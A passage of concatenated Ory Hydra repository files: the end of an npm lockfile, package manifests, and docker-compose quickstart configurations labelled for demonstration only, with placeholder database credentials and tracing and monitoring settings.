"^3.0.0", "chalk": "^2.1.0", "lodash": "^4.17.4", "slice-ansi": "1.0.0", "string-width": "^2.1.1" }, "dependencies": { "ansi-regex": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", "dev": true }, "slice-ansi": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-1.0.0.tgz", "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", "dev": true, "requires": { "is-fullwidth-code-point": "^2.0.0" } }, "string-width": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", "dev": true, "requires": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" } }, "strip-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { "ansi-regex": "^3.0.0" } } } }, "temp-dir": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz", "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==" }, "tempfile": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/tempfile/-/tempfile-3.0.0.tgz", "integrity": "sha512-uNFCg478XovRi85iD42egu+eSFUmmka750Jy7L5tfHI5hQKKtbPnxaSaXAbBqCDYrw3wx4tXjKwci4/QmsZJxw==", "requires": { "temp-dir": "^2.0.0", "uuid": "^3.3.2" }, "dependencies": { "uuid": { "version": "3.4.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" } } }, "text-extensions": { "version": "1.9.0", "resolved": "https://registry.npmjs.org/text-extensions/-/text-extensions-1.9.0.tgz", "integrity": "sha512-wiBrwC1EhBelW12Zy26JeOUkQ5mRu+5o8rpsJk5+2t+Y5vE7e842qtZDQ2g1NpX/29HdyFeJ4nSIhI47ENSxlQ==" }, "text-table": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", "dev": true }, "throttleit": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/throttleit/-/throttleit-1.0.0.tgz", "integrity": "sha1-nnhYNtr0Z0MUWlmEtiaNgoUorGw=", "dev": true }, "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" }, "through2": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz", "integrity": "sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==", "requires": { "readable-stream": "3" } }, "tmp": { "version": "0.0.33", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", "requires": { "os-tmpdir": "~1.0.2" } }, "to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", "dev": true, "requires": { "is-number": "^7.0.0" } }, "tough-cookie": { "version": "4.1.3", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", "dev": true, "requires": { "psl": "^1.1.33", "punycode": "^2.1.1", "universalify": "^0.2.0", "url-parse": "^1.5.3" }, "dependencies": { "universalify": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", "dev": true } } }, "tr46": { "version": "0.0.3", "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==" }, "traverse": { "version": "0.6.7", "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.7.tgz", "integrity": "sha512-/y956gpUo9ZNCb99YjxG7OaslxZWHfCHAUUfshwqOXmxUIvqLjVO581BT+gM59+QV9tFe6/CGG53tsA1Y7RSdg==" }, "tree-kill": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==" }, "treeify": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/treeify/-/treeify-1.1.0.tgz", "integrity": "sha512-1m4RA7xVAJrSGrrXGs0L3YTwyvBs2S8PbRHaLZAkFw7JR8oIFwYtysxlBZhYIa7xSyiYJKZ3iGrrk55cGA3i9A==", "dev": true }, "trim-newlines": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz", "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==" }, "trough": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", "integrity": "sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==" }, "tslib": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" }, "tunnel-agent": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", "dev": true, "requires": { "safe-buffer": "^5.0.1" } }, "tweetnacl": { "version": "0.14.5", "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", "dev": true }, "type-check": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", "dev": true, "requires": { "prelude-ls": "~1.1.2" } }, "type-fest": { "version": "0.21.3", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==" }, "uglify-js": { "version": "3.17.4", "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.17.4.tgz", "integrity": "sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g==", "optional": true }, "uid": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/uid/-/uid-2.0.1.tgz", "integrity": "sha512-PF+1AnZgycpAIEmNtjxGBVmKbZAQguaa4pBUq6KNaGEcpzZ2klCNZLM34tsjp76maN00TttiiUf6zkIBpJQm2A==", "requires": { "@lukeed/csprng": "^1.0.0" } }, "underscore": { "version": "1.13.6", "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz", "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==" }, "unified": { "version": "9.2.2", "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.2.tgz", "integrity": "sha512-Sg7j110mtefBD+qunSLO1lqOEKdrwBFBrR6Qd8f4uwkhWNlbkaqwHse6e7QvD3AP/MNoJdEDLaf8OxYyoWgorQ==", "requires": { "bail": "^1.0.0", "extend": "^3.0.0", "is-buffer": "^2.0.0", "is-plain-obj": "^2.0.0", "trough": "^1.0.0", "vfile": "^4.0.0" } }, "uniq": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", "dev": true }, "unist-util-is": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz", "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==" }, "unist-util-stringify-position": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz", "integrity": "sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==", "requires": { "@types/unist": "^2.0.2" } }, "unist-util-visit-parents": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz", "integrity": "sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg==", "requires": { "@types/unist": "^2.0.0", "unist-util-is": "^4.0.0" } }, "universalify": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==" }, "untildify": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", "dev": true }, "update-section": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/update-section/-/update-section-0.3.3.tgz", "integrity": "sha512-BpRZMZpgXLuTiKeiu7kK0nIPwGdyrqrs6EDSaXtjD/aQ2T+qVo9a5hRC3HN3iJjCMxNT/VxoLGQ7E/OzE5ucnw==" }, "uri-js": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", "dev": true, "requires": { "punycode": "^2.1.0" } }, "url-parse": { "version": "1.5.10", "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", "dev": true, "requires": { "querystringify": "^2.1.1", "requires-port": "^1.0.0" } }, "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" }, "util-extend": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/util-extend/-/util-extend-1.0.3.tgz", "integrity": "sha512-mLs5zAK+ctllYBj+iAQvlDCwoxU/WDOUaJkcFudeiAX6OajC6BKXJUa9a+tbtkC11dz2Ufb7h0lyvIOVn4LADA==", "dev": true }, "uuid": { "version": "8.3.2", "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", "dev": true }, "validate-npm-package-license": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", "requires": { "spdx-correct": "^3.0.0", "spdx-expression-parse": "^3.0.0" } }, "verror": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", "dev": true, "requires": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", "extsprintf": "^1.2.0" } }, "vfile": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz", "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==", "requires": { "@types/unist": "^2.0.0", "is-buffer": "^2.0.0", "unist-util-stringify-position": "^2.0.0", "vfile-message": "^2.0.0" } }, "vfile-message": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz", "integrity": "sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==", "requires": { "@types/unist": "^2.0.0", "unist-util-stringify-position": "^2.0.0" } }, "wait-on": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/wait-on/-/wait-on-7.0.1.tgz", "integrity": "sha512-9AnJE9qTjRQOlTZIldAaf/da2eW0eSRSgcqq85mXQja/DW3MriHxkpODDSUEg+Gri/rKEcXUZHe+cevvYItaog==", "dev": true, "requires": { "axios": "^0.27.2", "joi": "^17.7.0", "lodash": "^4.17.21", "minimist": "^1.2.7", "rxjs": "^7.8.0" }, "dependencies": { "rxjs": { "version": "7.8.1", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz", "integrity": "sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==", "dev": true, "requires": { "tslib": "^2.1.0" } }, "tslib": { "version": "2.6.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.1.tgz", "integrity": "sha512-t0hLfiEKfMUoqhG+U1oid7Pva4bbDPHYfJNiB7BiIjRkj1pyC++4N3huJfqY6aRH6VTB0rvtzQwjM4K6qpfOig==", "dev": true } } }, "wcwidth": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", "integrity": "sha1-8LDc+RW8X/FSivrbLA4XtTLaL+g=", "requires": { "defaults": "^1.0.3" } }, "webidl-conversions": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==" }, "whatwg-url": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", "requires": { "tr46": "~0.0.3", "webidl-conversions": "^3.0.0" } }, "which": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", "dev": true, "requires": { "isexe": "^2.0.0" } }, "wordwrap": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", "integrity": "sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=" }, "wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", "requires": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" }, "dependencies": { "ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==" }, "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "requires": { "color-convert": "^2.0.1" } }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "requires": { "color-name": "~1.1.4" } }, "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "strip-ansi": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", "requires": { "ansi-regex": "^5.0.0" } } } }, "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" }, "write": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/write/-/write-0.2.1.tgz", "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=", "dev": true, "requires": { "mkdirp": "^0.5.1" } }, "xtend": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz", "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=" }, "y18n": { "version": "5.0.8", "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==" }, "yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" }, "yargs": { "version": "16.2.0", "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", "requires": { "cliui": "^7.0.2", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.0", "y18n": "^5.0.5", "yargs-parser": "^20.2.2" } }, "yargs-parser": { "version": "20.2.9", "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==" }, "yauzl": { "version": "2.10.0", "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", "dev": true, "requires": { "buffer-crc32": "~0.2.3", "fd-slicer": "~1.1.0" } }, "zwitch": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==" } } }
JSON
hydra/package.json
{ "name": "@oryd/hydra", "version": "0.0.0", "private": true, "scripts": { "lint": "standard --fix \"test/**/*.js\" \"cypress/**/*.js\"", "openapi-generator-cli": "openapi-generator-cli", "test": "cypress run", "test:watch": "cypress open", "wait-on": "wait-on" }, "prettier": "ory-prettier-styles", "dependencies": { "@openapitools/openapi-generator-cli": "^2.6.0", "conventional-changelog-cli": "~2.2.2", "doctoc": "^2.2.1" }, "devDependencies": { "cypress": "^9.7.0", "dayjs": "^1.10.6", "jsonwebtoken": "^8.5.1", "license-checker": "^25.0.1", "ory-prettier-styles": "1.3.0", "prettier": "2.7.1", "prettier-plugin-packagejson": "^2.2.18", "standard": "^12.0.1", "uuid": "^8.3.2", "wait-on": "^7.0.1" } }
JSON
hydra/package.oc.json
{ "name": "@oryd/hydra", "version": "0.0.0", "description": "The official JavaScript / NodeJS SDK for ORY Hydra.", "license": "Apache-2.0", "scripts": { "postinstall": "opencollective postinstall" }, "dependencies": { "opencollective": "^1.0.3" }, "collective": { "type": "opencollective", "url": "https://opencollective.com/ory-hydra", "logo": "https://opencollective.com/ory-hydra/logo.txt" } }
YAML
hydra/quickstart-cockroach.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: hydra-migrate: environment: - DSN=cockroach://root@cockroachd:26257/defaultdb?sslmode=disable&max_conns=20&max_idle_conns=4 hydra: environment: - DSN=cockroach://root@cockroachd:26257/defaultdb?sslmode=disable&max_conns=20&max_idle_conns=4 cockroachd: image: cockroachdb/cockroach:v22.1.10 ports: - "26257:26257" command: start-single-node --insecure networks: - intranet
YAML
hydra/quickstart-cors.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: hydra: environment: - SERVE_PUBLIC_CORS_ENABLED=true - SERVE_PUBLIC_CORS_ALLOWED_METHODS=POST,GET,PUT,DELETE - SERVE_ADMIN_CORS_ENABLED=true - SERVE_ADMIN_CORS_ALLOWED_METHODS=POST,GET,PUT,DELETE
YAML
hydra/quickstart-debug.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: hydra: environment: - LOG_LEVEL=debug - OAUTH2_EXPOSE_INTERNAL_ERRORS=1
YAML
hydra/quickstart-hsm.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: hydra: build: context: . dockerfile: .docker/Dockerfile-hsm environment: - HSM_ENABLED=true - HSM_LIBRARY=/usr/lib/softhsm/libsofthsm2.so - HSM_TOKEN_LABEL=hydra - HSM_PIN=1234
YAML
hydra/quickstart-jwt.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: hydra: environment: - STRATEGIES_ACCESS_TOKEN=jwt - OIDC_SUBJECT_IDENTIFIERS_SUPPORTED_TYPES=public
YAML
hydra/quickstart-mysql.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: hydra-migrate: environment: - DSN=mysql://root:secret@tcp(mysqld:3306)/mysql?max_conns=20&max_idle_conns=4 hydra: environment: - DSN=mysql://root:secret@tcp(mysqld:3306)/mysql?max_conns=20&max_idle_conns=4 mysqld: image: mysql:8.0.26 ports: - "3306:3306" environment: - MYSQL_ROOT_PASSWORD=secret networks: - intranet
YAML
hydra/quickstart-postgres.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: hydra-migrate: environment: - DSN=postgres://hydra:secret@postgresd:5432/hydra?sslmode=disable&max_conns=20&max_idle_conns=4 hydra: environment: - DSN=postgres://hydra:secret@postgresd:5432/hydra?sslmode=disable&max_conns=20&max_idle_conns=4 postgresd: image: postgres:11.8 ports: - "5432:5432" environment: - POSTGRES_USER=hydra - POSTGRES_PASSWORD=secret - POSTGRES_DB=hydra networks: - intranet
YAML
hydra/quickstart-prometheus-config.yml
global: scrape_interval: 15s # By default, scrape targets every 15 seconds. external_labels: monitor: "codelab-monitor" scrape_configs: - job_name: "prometheus" scrape_interval: 5s static_configs: - targets: ["localhost:9090"] - job_name: "hydra" # Override the global default and scrape targets from this job every 5 seconds. scrape_interval: 5s metrics_path: /metrics/prometheus static_configs: - targets: ["hydra:4445"]
YAML
hydra/quickstart-prometheus.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: prometheus: image: prom/prometheus:v2.12.0 ports: - "9090:9090" depends_on: - hydra command: --config.file=/etc/prometheus/prometheus.yml volumes: - ./quickstart-prometheus-config.yml:/etc/prometheus/prometheus.yml networks: - intranet
YAML
hydra/quickstart-tracing.yml
########################################################################### ####### FOR DEMONSTRATION PURPOSES ONLY ####### ########################################################################### # # # If you have not yet read the tutorial, do so now: # # https://www.ory.sh/docs/hydra/5min-tutorial # # # # This set up is only for demonstration purposes. The login # # endpoint can only be used if you follow the steps in the tutorial. # # # ########################################################################### version: "3.7" services: hydra: depends_on: - jaeger # - zipkin # - datadog environment: # - TRACING_SERVICE_NAME="Ory Hydra" - TRACING_PROVIDER=jaeger # - TRACING_PROVIDER=zipkin # - TRACING_PROVIDER=otel # datadog # - TRACING_PROVIDER=elastic-apm ### Jaeger ### - TRACING_PROVIDERS_JAEGER_SAMPLING_SERVER_URL=http://jaeger:5778/sampling - TRACING_PROVIDERS_JAEGER_LOCAL_AGENT_ADDRESS=jaeger:6831 - 